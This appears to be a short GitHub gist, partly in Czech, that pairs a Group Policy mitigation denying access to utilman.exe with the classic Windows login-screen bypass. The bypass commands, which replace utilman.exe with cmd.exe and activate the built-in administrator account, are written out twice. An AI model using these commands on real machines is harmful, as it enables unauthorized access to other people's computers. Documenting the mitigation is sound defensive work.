ren utilman.exe to utilman.old copy cmd.exe to utilman.exe

gistfile1.txt

Toto nastavení GPO zablokuje spouštění Utilman z login screenu v rámci celé domény :)
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Computer Configuration > Policies > Windows Settings > Security Settings > File System
>>>> Add File > Type in the following;
Navigate to C:\Windows\System32
Find UTILMAN.EXE
Right Click, then Properties
Security, Advanced, Permissions (Continue)
Change the owner at the top from "TrustedInstaller" to "Administrators" (ensure you have and Administrator account)
Add a permission, and then click Select a "Principal"
Type in "Everyone", Check Names, then OK
Change type to "Deny" and "Full Control"
Click OK, then Log Out.

ren utilman.exe to utilman.old copy cmd.exe to utilman.exe

c:
cd windows\system32
ren utilman.exe utilman.old
copy cmd.exe utilman.exe

net user administrator /active:yes

Více na: https://www.zive.cz/clanky/jak-se-dostat-do-windows-kdyz-neznate-heslo-nebo-nejste-administrator/sc-3-a-188700/default.aspx